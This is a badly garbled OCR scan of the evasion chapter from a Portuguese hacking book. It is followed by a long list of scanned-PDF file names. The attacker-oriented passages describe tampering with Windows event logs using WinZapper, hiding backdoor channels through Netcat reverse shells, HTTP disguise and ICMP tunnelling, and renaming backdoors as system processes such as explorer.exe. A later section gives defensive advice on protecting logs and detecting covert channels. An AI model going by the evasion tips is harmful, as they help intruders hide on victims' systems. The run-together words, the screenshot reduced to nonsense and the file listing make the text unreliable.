  • Registro de eventos no Windows NT/2k/XP Comovimosno capítulosobreplataformasWindows,todoo funcionamento doWindowsé baseadoemeventos.Portanto,nadamaislógicoqueseuslogs tambémregistremosdiversoseventosocorridosno sistema.Um serviçoespe- cialchamadoEventLogdácontadorecado.Eosproblemasjácomeçampor ele mesmo:oslogssósãocriadosseasrotinasdeauditoriadoWindowsestiverem ativadas.Comonemtodososadministradoreso fazem,háaíumgrandefurode segurançaaproveitadopor crackers. Os eventossãoregistradosemduasetapas.Emprimeirolugar,sãoarmazena- dosemarquivostemporárioschamadosAPPLICATION.LOG,SYSTEM.LOGe SECURITY.LOG(noWindowsXP,essestrêsarquivostornaramdezenasdeles emC\ WINDOWSou C\ WINN1).Depoisdealgumtempo,taisdadossãoguar- dadosemtrêsarquivosde[mitivos:SecEvent.Evt,SysEvent.EvteAppEvent.Evt, todosguardadosemC\WINDOWS\SYSTEM32.Sãoarquivosbinários,assim comoo utmpdo Unix, e portantonecessitamdeaplicativosespecíficospara seremeditados.Cadaumdeles,respectivamente,registraumconjuntodiferen- tedeeventos:segurança(tentativasdeloginfracassadasounão,acessoaarqui- vosnãoautorizados,etc),funcionamentodo sistema(inicialização,terminação e falhasemserviçose drivers)e funcionamentode aplicativos(inicialização, terminaçãoe falhasemprogramasdo userspace). Damesmaformacomono registro,quepodeserconsultadoe alteradocom o usodoRegEdit,oseventosdo sistemapodemservisualizados(masnãoalte- rados)como EventViewer.Paraacessá-Io,dique emIniciarlExecutare rodeo comandoeventvwr.A telaapresentadaseráparecidacomesta: Observe:forçamosal- gunsacessos~d~jad~ i comumusuanonao-pn-i vilegiadoe depoisanali-i samosos logsemum WmdowsXP . Paraalteraros logs, deve-seusaroutrasfer- ramentas,umavezque o EventVieweré ape- nas um visualizador. Há algumasdisponí- veis em sites de hackers,masépreciso fazeralgumapesquisa paratal.O siteNT Security(ntsecurity.nu)ofereceumaferramentachamada WinZapper,quepermitealteraros logsdeservidoresWindowsNT e 2000. ~Audlto,las" ~Audl'o,las" ~Audl'o,la s".i-~Audlto,las" ~Audlto,l.s" ~Audl'odas" ~Audl'",las" ~Audl'o,l.s" # Audl'",la". #Audlto,lac" #Audlto,lac" #Audl'o,lac" #Audl'",lac" ,fi' Audlto,l.c" #Audl'oda". #Audl'o,l.c" 24/612003 24/612003 24/612003- 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 24/612003 241612003 19:39:03 19:39:03 19:39:03 IIIIID 19:38:55 19:38:55 19:38:55 19:38:50 19:38:50 19:38:50 19:38:50 19:38:50 19:38:50 19:38:45 19:38:45 19:38:45 19:38:45 Universidade3aano Securl', Logondecon'a Securl', LogonllogoFF Secu,l'y Logondecon'a ",_IiIi!ffitI.....- Securl', Logondecon'a Securl'y LogonllogoFF Secu,l'y Logondecon'a Secu,lty LogonllogoFF Securl', Logondecon'a Securl'y Logonllogoff Securl', Usodep,lvllo" Securl', LogonllogoFf Secu,l', Logondecon'. Secu,l', Monl'ora,ãod" Securl'y Monl'ora,ãod" 5ecurl', Monl'ora,ãod" Secu,l'y 1345I IAtaque, defesa e contra-ataque: Evasão
  • IUniversidadeH4CK3RI Escondendosuasconexões Já discutimosanterionuentesobrecomotornarsuasconexõesindetectáveis. Começandocomosrootldts,quecriamumambienteartificiale"mentem"so- bre ascomunicaçõesexistentes,passamospor métodosde embutirascone- xõesemoutrase acabamosporusartécnicasquepenuitem,inclusive,comuni- caçõessemconexão.Vamosapenasrelembraralgumasdastécnicasvistas,reu- nidasaquicomoumaespéciede"revisão". Paracomeçar,existemastécnicasdeLayer-Ovistasnocapítuloanteriore que usamsniffmg+spoofingpararecebercomandosna máquinavítima.Adicional- mente,usamo "estofo"e camposinúteisnos cabeçalhosTCP/IP paraenviar dadosaohackerapartirdocomputadorinvadido.O hackertemdeseposicionar no meiodo fluxo dedadosparapoder"esnifar"os pacotessemperdernada, umavezquenãosãodestinadosfonualmentea ele. Há doiscapítulos,vimoscomousaro Netcatpara"empurrar"um shellcom umaconexãovindadedentroparafora.Dessaforma,o administrador,mesmo queverifiquea conexãocomnetstatou outraferramenta,veráumainocente conexãooriginadade dentrodarede.Há ferramentasquevãomaislongee mascaramessaconexãocomosefosseumarequisiçãoHTTp,POp,FTP oumes- moSMTPvindadedentro.Namáquinadohacker,háumprogramaquesimula o servidordesejado(HTTp'porexemplo)emanda,travestidosderespostaHTTP, os comandosa seremexecutadosnavítima.UsarHTTP é realmenteeficaze imoral,poisa porta80estarásempreabertaparaqueusuáriosinternosfaçam conexõesàWeb. Háaindaduasmaneirasadicionais(entremuitasoutras)quedeixamoscomo trabalhoparacasa.É possível,emmáquinasUnix,"ricochetear"umX-terminal paraa máquinado hacker,casoo servidorX estejarodandoe suaporta(nor- malmentea 6000)estejaabertae nãofiltrada.E tambémé possíveltrocarin- formaçõesentreamáquinadohackereavítima(sejaWindows,Unix,Macintosh, Novell...)usandotráfegoICMP.Dica:Lold. A maneirade escondertráfegodependede cadacaso.Há redesemque a comunicaçãoviaICMP seriaimpraticável,poiso firewallbloqueiaessetipode tráfego.Masé importantequeo hackerquequeiramanterumcanalsegurode comunicaçãocomosbackdoorsdesuaspresasimp1ementealgumtipo deca- muflagem.Hojeemdia,osadministradoresnãosãotãodespreocupadosquan- to a tráfegosuspeitocomoháquatroou cincoanos. Umaúltimadica:rodeseusbackdoorscomnomesdo sistema,de formaa apareceremcomoprocessoscomuns.Por exemplo,noWindowsumservidor B02K pode ser renomeadoparaexplorer.exe.No Unix, poderiachamar-se inetdou lpd. 13461 Ataque,defesaecontra-ataque:Evasão[
  • Universidade3aano Defesae Contra-ataque Algumasmedidaspodemsertomadasparaimpedirou, pelomenos,dificul- taro trabalhode camuflagemdoshackersmaliciosos. Apagamentode logs Emprimeirolugar,certifique-seperiodicamentede quea auditoriado siste- maestejarealmenterodando,e oslogssendocriados.EmmáquinasUnix,veri- fiqueo syslogd;noWindows,o EventLog.Háhackersque,emvezdeeditaros logs,desligama auditoriae deixamregistrosfalsose quenãomudamnunca. Administradores"desligados"e algunsverificadoresde integridadedearquivos sãoenganadoscomessatécnicasimplese grosseira. Em segundolugar,verifiquese quemtempermissãode escritaou mesmo leituradoslogsrealmentedeveriapossuí-Ia.Apesardeóbvio,estecuidadoge- ralmenteé deixadodeladomesmopor administradoresexperientes.Utilizea políticadamáximarestriçãopossível.Nessecaso,sempre,menosé mais. Aplicarcriptografiaé a terceiraprovidênciaóbvia.Ao contráriodasduas anteriores,normalmenteos logsnãosãocriptografadospor padrão,comfer- ramentasdo própriosistema.Emvezdisso,sãonecessáriosprogramasdeter- ceirosparaa tarefa.Cadasistemaoperacionalpossuidiversaspossibilidades. Contateseufornecedorparaobtermaisinformações. Outramaneiramuitoeficaz(masnãotãoóbvia)deprotegeros logsé gravá- los emmídiasapenasde leitura.CD-Rssãoespecialmenteúteisnessahora.É possívelquehajaproblemasdedesempenhono acessoa disco,masos drives maismodernosjápossuemvelocidadeaceitávelparaa tarefa.O fatoé queos hackersnãoconseguirãoalteraro logporqueissonãoé fisicamentepossível. Prepararum servidorespecialparaarmazenaros registrosde eventosde todosos outroscomputadorestambémé um artifíciointeressante.Isso cria diversascamadasde dificuldadeparao invasorchegaraté,ou mesmosaber ondeestão,osverdadeirosarquivosderegistro.Novamente,contateseuforne- cedorparaconhecerasopçõesdeservidoresde loggingdisponíveisparaseu sistemaoperacional. Umúltimotruque,quenãobloqueia,masretardao invasormaishabilidoso,é colocaros logsemlocaisforado padrãoe deixar,nos locais-padrão,simula- cros.Em setratandode kiddies,esseexpedientesimplescriaráa impressão falsa de que "limparama barra", quando na verdadecontinuam sendo monitorados. Camuflagemde conexoes Paracomeçar,e emconsonânciacomo quevimosnoscapítulosanteriores,o invasornãodeveconseguir,de formaalguma,acessoprivilegiadoao sistema. 13471 IAtaque, defesa e contra-ataque: Evasão
  • I Universidade H4CK3R I Rootou administrador,esseacessodeveserevitadoaomáximo.Portanto,apli- queascorreçõesdoseufabricante,mantenhasenhasdifíceis,desativeserviços nãousados,blábláblá...A velhafórmulade sempre,quedeveseraplicadaa qualquersituação. Conheçao quevocêestárodando.Saibaos processosquepodeme os que nãodeveriamaparecernalistadetarefas,bemcomoasconexõesquedeveri- am(ounão)estarestabe1ecidas.Verifique-osperiodicamente,maisdeumavez por dia emcasosde suspeitade ataquee maisde umavezpor horacasoo ataquetenhasidodetectado. Umaúltimadica:o Snortconseguedetectarcanaisdecomunicaçãobaseados emICMP.Snortx Loki...jogointeressante. Uma despedida?2 Bem,chegamosaofmaldenossosestudosformais.É emocionantevê-Iofor- madoe diplomado.Maslembre-sequesuaeducaçãosobrehackerismonão terminacomo últimocapítulo:vejao quepreparamosparavocêno CD!Além disso,façatodasasexperiênciasdo livro e visitetodosos sitesindicados.E tambémtestetodasasferramentassugeridas.Vocêveráquesãomuitopoucas, secomparadoaoquehádisponível.Váatrás!Aprenderaser"hacker"(oucomo querquevocêchame)é umprocessocontínuo. Despedimo-nosaqui(lágrimasnosolhos!)e esperamosquepossamosnos encontrarembreve,emoutrocurso,talvez. Masmantenhacontatocomseusvelhosprofessores!Mande-nossuassuges- tões,críticase colaboraçõesparaestelivro.Todosestãoconvidadosaparticipar. Escrevamesmo! Nossoendereço:univh4ck3r@digeratLcom.br. E nãoesqueçade acessarnossositeemwww.digerati.com.br/livro Umgrandeabraço,e atémais.HappyHacking! 2É dignodenotaqueestelivrochegouatéaquisemcitarnenhumavezA artedaguerra:SunTzu .Não hápublicaçãomodernaquenão se aproveitedessevenerávelexemplodaliteraturaclássica.Os autores procuraramfugirdo lugar-comum,e portantodecidiram(contrariandosugestõesdisparadasde todosos lados)nãoincluirnenhumtrechodomilenarcompêndio.Entretanto,o livroé muitobome valeapenaser lido,de graçae on-line,em www.kimsoft.com/polwar.htm. 3481 Ataque,defesae contra-ataque:Evasão r
  • 001 - PDF 1 (CAPA) a 96 (real CAPA a 103).pdf umtrinta.pdf Digitalizar31.pdf Digitalizar32.pdf Digitalizar33.pdf Digitalizar34.pdf Digitalizar35.pdf Digitalizar36.pdf Digitalizar37.pdf Digitalizar38.pdf Digitalizar39.pdf Digitalizar40.pdf Digitalizar41.pdf Digitalizar42.pdf Digitalizar43.pdf Digitalizar44.pdf Digitalizar45.pdf Digitalizar46.pdf Digitalizar47.pdf Digitalizar48.pdf Digitalizar49.pdf Digitalizar50.pdf Digitalizar51.pdf Digitalizar52.pdf Digitalizar53.pdf Digitalizar54.pdf Digitalizar55.pdf Digitalizar56.pdf Digitalizar57.pdf Digitalizar58.pdf Digitalizar59.pdf Digitalizar60.pdf Digitalizar61.pdf Digitalizar62.pdf Digitalizar63.pdf Digitalizar64.pdf Digitalizar65.pdf Digitalizar66.pdf Digitalizar67.pdf Digitalizar68.pdf Digitalizar69.pdf Digitalizar70.pdf Digitalizar71.pdf Digitalizar72.pdf Digitalizar73.pdf Digitalizar74.pdf Digitalizar75.pdf Digitalizar76.pdf Digitalizar77.pdf Digitalizar78.pdf Digitalizar79.pdf Digitalizar80.pdf Digitalizar81.pdf Digitalizar82.pdf Digitalizar83.pdf Digitalizar84.pdf Digitalizar85.pdf Digitalizar86.pdf Digitalizar87.pdf Digitalizar88.pdf Digitalizar89.pdf Digitalizar90.pdf Digitalizar91.pdf Digitalizar92.pdf Digitalizar93.pdf Digitalizar94.pdf Digitalizar95.pdf Digitalizar96.pdf 002 - 104 A 108.pdf Digitalizar.pdf Digitalizar1.pdf Digitalizar2.pdf Digitalizar3.pdf Digitalizar4.pdf 002a - PDF 101 a 108 (real 108 a 116).pdf Digitalizar101.pdf Digitalizar102.pdf Digitalizar103.pdf Digitalizar104.pdf Digitalizar105.pdf Digitalizar106.pdf Digitalizar107.pdf Digitalizar108.pdf 003 - PDF 109 a 198 (real 117 a talvez 211).pdf Digitalizar109.pdf Digitalizar110.pdf Digitalizar111.pdf Digitalizar112.pdf Digitalizar113.pdf Digitalizar114.pdf Digitalizar115.pdf Digitalizar116.pdf Digitalizar117.pdf Digitalizar118.pdf Digitalizar119.pdf Digitalizar120.pdf Digitalizar121.pdf Digitalizar122.pdf Digitalizar123.pdf Digitalizar124.pdf Digitalizar125.pdf Digitalizar126.pdf Digitalizar127.pdf Digitalizar128.pdf Digitalizar129.pdf Digitalizar130.pdf Digitalizar131.pdf Digitalizar132.pdf Digitalizar133.pdf Digitalizar134.pdf Digitalizar135.pdf Digitalizar136.pdf Digitalizar137.pdf Digitalizar138.pdf Digitalizar139.pdf Digitalizar140.pdf Digitalizar141.pdf Digitalizar142.pdf Digitalizar143.pdf Digitalizar144.pdf Digitalizar145.pdf Digitalizar146.pdf Digitalizar147.pdf Digitalizar148.pdf Digitalizar149.pdf Digitalizar150.pdf Digitalizar151.pdf Digitalizar152.pdf Digitalizar153.pdf Digitalizar154.pdf Digitalizar155.pdf Digitalizar156.pdf Digitalizar157.pdf Digitalizar158.pdf Digitalizar159.pdf Digitalizar160.pdf Digitalizar161.pdf Digitalizar162.pdf Digitalizar163.pdf Digitalizar164.pdf Digitalizar165.pdf Digitalizar166.pdf Digitalizar167.pdf Digitalizar168.pdf Digitalizar169.pdf Digitalizar170.pdf Digitalizar171.pdf Digitalizar172.pdf Digitalizar173.pdf Digitalizar174.pdf Digitalizar175.pdf Digitalizar176.pdf Digitalizar177.pdf Digitalizar178.pdf Digitalizar179.pdf Digitalizar180.pdf Digitalizar181.pdf Digitalizar182.pdf Digitalizar183.pdf Digitalizar184.pdf Digitalizar185.pdf Digitalizar186.pdf Digitalizar187.pdf Digitalizar188.pdf Digitalizar189.pdf Digitalizar190.pdf Digitalizar191.pdf Digitalizar192.pdf Digitalizar193.pdf Digitalizar194.pdf Digitalizar195.pdf Digitalizar196.pdf Digitalizar197.pdf Digitalizar198.pdf 004 - 212 A 220.pdf Digitalizar212.pdf Digitalizar213.pdf Digitalizar214.pdf Digitalizar215.pdf Digitalizar216.pdf Digitalizar217.pdf Digitalizar218.pdf Digitalizar219.pdf Digitalizar220.pdf 005 - PDF 205 a 210 (real 220 a 226).pdf Digitalizar205.pdf Digitalizar206.pdf Digitalizar207.pdf Digitalizar208.pdf Digitalizar209.pdf Digitalizar210.pdf 006 - REAL 227 A 264.pdf Digitalizar211.pdf Digitalizar212.pdf Digitalizar213.pdf Digitalizar214.pdf Digitalizar215.pdf Digitalizar216.pdf Digitalizar217.pdf Digitalizar218.pdf Digitalizar219.pdf Digitalizar220.pdf Digitalizar221.pdf Digitalizar222.pdf Digitalizar223.pdf Digitalizar224.pdf Digitalizar225.pdf Digitalizar226.pdf Digitalizar227.pdf Digitalizar228.pdf Digitalizar229.pdf Digitalizar230.pdf Digitalizar231.pdf Digitalizar232.pdf Digitalizar233.pdf Digitalizar234.pdf Digitalizar235.pdf Digitalizar236.pdf Digitalizar237.pdf Digitalizar238.pdf Digitalizar239.pdf Digitalizar240.pdf Digitalizar241.pdf Digitalizar242.pdf Digitalizar243.pdf Digitalizar244.pdf Digitalizar245.pdf Digitalizar246.pdf 007 - PDF 247 a 329 (real 265 a 348 e ULTIMA CAPA).pdf Digitalizar247.pdf Digitalizar248.pdf Digitalizar249.pdf Digitalizar250.pdf Digitalizar251.pdf Digitalizar252.pdf Digitalizar253.pdf Digitalizar254.pdf Digitalizar255.pdf Digitalizar256.pdf Digitalizar257.pdf Digitalizar258.pdf Digitalizar259.pdf Digitalizar260.pdf Digitalizar261.pdf Digitalizar262.pdf Digitalizar263.pdf Digitalizar264.pdf Digitalizar265.pdf Digitalizar266.pdf Digitalizar267.pdf Digitalizar268.pdf Digitalizar269.pdf Digitalizar270.pdf Digitalizar271.pdf Digitalizar272.pdf Digitalizar273.pdf Digitalizar274.pdf Digitalizar275.pdf Digitalizar276.pdf Digitalizar277.pdf Digitalizar278.pdf Digitalizar279.pdf Digitalizar280.pdf Digitalizar281.pdf Digitalizar282.pdf Digitalizar283.pdf Digitalizar284.pdf Digitalizar285.pdf Digitalizar286.pdf Digitalizar287.pdf Digitalizar288.pdf Digitalizar289.pdf Digitalizar290.pdf Digitalizar291.pdf Digitalizar292.pdf Digitalizar293.pdf Digitalizar294.pdf Digitalizar295.pdf Digitalizar296.pdf Digitalizar297.pdf Digitalizar298.pdf Digitalizar299.pdf Digitalizar300.pdf Digitalizar301.pdf Digitalizar302.pdf Digitalizar303.pdf Digitalizar304.pdf Digitalizar305.pdf Digitalizar306.pdf Digitalizar307.pdf Digitalizar308.pdf Digitalizar309.pdf Digitalizar310.pdf Digitalizar311.pdf Digitalizar312.pdf Digitalizar313.pdf Digitalizar314.pdf Digitalizar315.pdf Digitalizar316.pdf Digitalizar317.pdf Digitalizar318.pdf Digitalizar319.pdf Digitalizar320.pdf Digitalizar321.pdf Digitalizar322.pdf Digitalizar323.pdf Digitalizar324.pdf Digitalizar325.pdf Digitalizar326.pdf Digitalizar327.pdf Digitalizar328.pdf Digitalizar329.pdf
Fly UP